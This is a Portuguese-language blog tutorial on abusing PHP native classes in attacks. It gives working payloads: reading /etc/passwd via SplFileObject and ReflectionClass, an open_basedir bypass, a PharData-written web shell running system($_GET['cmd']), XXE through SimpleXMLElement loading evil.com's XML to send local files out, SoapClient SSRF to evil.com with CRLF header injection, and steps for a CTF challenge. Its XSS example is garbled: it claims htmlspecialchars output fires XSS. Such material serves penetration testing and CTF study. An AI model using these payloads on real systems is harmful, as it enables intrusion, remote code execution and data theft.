Exploração de Classes Nativas do PHP

Classes nativas do PHP são classes internas da linguagem, como DirectoryIterator, Error, SimpleXMLElement, SoapClient, etc. Elas podem ser abusadas em ataques quando o código permite instanciar classes arbitrárias (ex: via unserialize, call_user_func ou parâmetros de entrada).

  1. Quando usar classes nativas

  • Quando há deserialização insegura de objetos.
  • Quando funções como call_user_func ou new aceitam nomes de classes vindos de entrada.
  • Para contornar restrições como open_basedir ou executar ações não previstas.
  1. Classes para leitura de diretórios/arquivos

DirectoryIterator

Itera sobre um diretório. Exemplo de uso malicioso:

$dir = new DirectoryIterator('/etc');
foreach ($dir as $item) {
    echo $item->getFilename() . "\n";
}

FilesystemIterator

Similar ao enterior, mas sem os atalhos . e ...

GlobIterator

Busca arquivos usando padrões glob:

$glob = new GlobIterator('/var/www/*.php');
foreach ($glob as $arq) {
    echo $arq->getPathname();
}

Como contornar open_basedir

Algumas classes nativas, como DirectoryIterator, podem acessar diretórios mesmo com open_basedir ativo, dependendo da configuração.

Leitura de arquivos com SplFileObject

Permite ler um arquivo linha a linha:

$file = new SplFileObject('/etc/passwd');
while (!$file->eof()) {
    echo $file->fgets();
}

Se não for possível usar classes, pode-se usar wrappers de stream (php://filter, expect://) via enclusão de arquivos.

  1. Classes para gerar erros e XSS

Classe Error

Pode ser utilizada para gerar exceções que vazam informações. Exemplo:

$e = new Error('Mensagem de erro', 0);
echo $e->getMessage();

Em contextos de XSS, pode-se injetar código JS no erro:

$e = new Error('<img src=x onerror=alert(1)>');
echo htmlspecialchars($e->getMessage());  // Se não houver sanitização, dispara XSS

Bypass de comparação de hash

Se um código compara hash usando == (comparação frouxa), e a classe Error serializada retorna um hash que começa com "0e" seguido de dígitos, pode haver igualdade com outro hash que também começa com "0e". Exemplo:

$hash = '0e12345';
$user_hash = '0e99999';
if ($hash == $user_hash) { // true, pois ambos são interpretados como 0 em notação científica
    echo 'Autenticado';
}
  1. Classes de reflexão

A classe ReflectionClass permite inspecionar e instanciar outras classes arbitrariamente.

$ref = new ReflectionClass('SplFileObject');
if ($ref->isInstantiable()) {
    $obj = $ref->newInstance('/etc/passwd');
    echo $obj->fgets();
}

Útil quando a entrada é um nome de classe para refletir métodos e propriedades.

  1. Classe para compressão e exclusão

A classe PharData ou ZipArchive pode ser usada para criar/deletar arquivos. Exemplo com Phar:

$phar = new PharData('malicious.zip');
$phar->addFromString('shell.php', '<?php system($_GET["cmd"]);');

Após criar, pode-se descompactar ou excluir arquivos do sistema.

  1. SimpleXMLElement e XXE

Essa classe, quando instanciada com dados XML de fonte externa e opção LIBXML_NOENT, permite XXE (External Entity Injection).

Exemplo de URL maliciosa:

index.php?module=SimpleXMLElement&args[]=http://evil.com/evil.xml&args[]=2&args[]=true
  • args[0]: URL do XML malicioso
  • args[1]: 2 = LIBXML_NOENT (substitui entidades)
  • args[2]: true indica que o primeiro argumento é URL

O XML remoto evil.xml carrega um DTD que faz a leitura de arquivos locais (ex: /etc/passwd) e envia o conteúdo via HTTP para o atacante.

  1. SoapClient e SSRF

A classe SoapClient pode ser usada para realizar requisições SSRF. Quando um método é chamado (inclusive via __call mágico), ela envia uma requisição SOAP.

Exemplo de abuso em cenário de call_user_func:

$client = new SoapClient(null, [
    'uri' => 'http://internal-server/',
    'location' => 'http://evil.com/ssrf'
]);
$client->someMethod();  // Envia request para evil.com com dados arbitrários

Para contornar sanitização de cabeçalhos, pode-se quebrar a linha com \r\n e inserir um corpo POST falso.

Exemplo prático com sessão e call_user_func

Suponha o código:

$b = 'implode';
call_user_func($_GET['f'], $_POST);
if(isset($_GET['name'])){
    $_SESSION['name'] = $_GET['name'];
}
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

Passos para explorar:

  1. Enviar ?f=extract com POST b=call_user_func para sobrescrever $b.
  2. Enviar outro POST com session_start e argumento serialize_handler=php_serialize para usar serialização PHP pura.
  3. Inserir na sessão um SoapClient serializado, configurado para fazer requisição a um servidor interno.
  4. Quando call_user_func($b, $a) executar, reset($_SESSION) retornará o objeto SoapClient, e a chamada ao método welcome_to_the_lctf2018 (inexistente) dispara __call, realizando SSRF.

Tags: PHP native classes XXE SSRF LFI

Publicado em 6-2 05:42 por Thomas